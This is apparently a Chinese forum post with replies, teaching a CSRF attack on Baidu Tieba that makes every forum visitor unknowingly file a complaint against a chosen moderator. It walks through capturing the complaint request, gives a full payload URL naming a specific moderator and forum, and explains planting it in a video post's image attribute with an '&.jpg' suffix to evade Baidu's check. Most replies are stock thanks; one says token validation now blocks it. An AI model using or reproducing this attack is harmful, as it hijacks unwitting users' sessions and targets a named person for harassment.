教你把一个贴吧的吧主投诉下去

System.喵

一个csrf让全吧吧友在自己都不知情的情况下帮你投诉指定贴吧吧主的bug。
1·下面教程开始，比如说我想投诉某吧的某吧主，先填好投诉表单如图

2·此时此刻按f12，定位到network，按底下那个clear按钮，然后抓到数据包
3·抓到的数据包如图所示，

4·找到form data这里，然后点view source把格式化的post数据转化为URLencode数据

也就是这个样子
这是投诉的接口
构造csrf的payload（有效载荷）为http://tieba.baidu.com/pmc/tousu/commitTousu?然后加上前面那个post数据也就是
manager_uid=725070526&manager_uname=%25E9%25AB%25987192&forum_id=7993&forum_name=%25E5%25BF%2583%25E7%2590%2586%25E5%25AD%25A6&complaint_type=illegal&reason=%25E5%2588%25B6%25E5%25AE%259A%25E5%2590%2584%25E7%25A7%258D%25E4%25B8%258D%25E5%2590%2588%25E7%2590%2586%25E7%259A%2584%25E5%2590%25A7%25E8%25A7%2584%25EF%25BC%258C%25E7%25BA%25B5%25E5%25AE%25B9%25E6%259F%2590%25E4%25BA%259B%25E6%259C%2589%25E5%2581%25BF%25E6%2594%25B6%25E8%25B4%25B9%25E5%25BF%2583%25E7%2590%2586%25E5%2592%25A8%25E8%25AF%25A2%25E6%259C%25BA%25E6%259E%2584%25E5%258F%2591%25E5%25B8%2583%25E5%25B9%25BF%25E5%2591%258A%25E3%2580%2582
最终构造为
这个样子
然后发一个视频，然后审查元素 把data-pkey删除一位，然后再把data-vpic改为刚才构造好的payload，然后接着在末尾加上&.jpg目的是为了绕过百度对data-vpic的末尾参数是否为jpg图片格式的检测。

游客，如果您要查看本帖隐藏内容请回复

上一篇：教你手机客户端发帖和回复文字颠倒
下一篇：贴吧人*r*o*u*搜索工具

就叫傻狍子吧

啥也不说了，感谢楼主分享哇！

汪星人

啥也不说了，感谢楼主分享哇！

chcbj

javascript:var c=

我叫伯爵

确实是难得好帖啊，顶先

guesswhoiam

啥也不说了，感谢楼主分享哇！

guesswhoiam

输入的内容不合法，应该是已经加了tbs验证了

棠梨儿呀

啥也不说了，感谢楼主分享哇！

浅巷里的旧时光

正需要，支持楼主大人了！

雪落无声

啥也不说了，感谢楼主分享哇！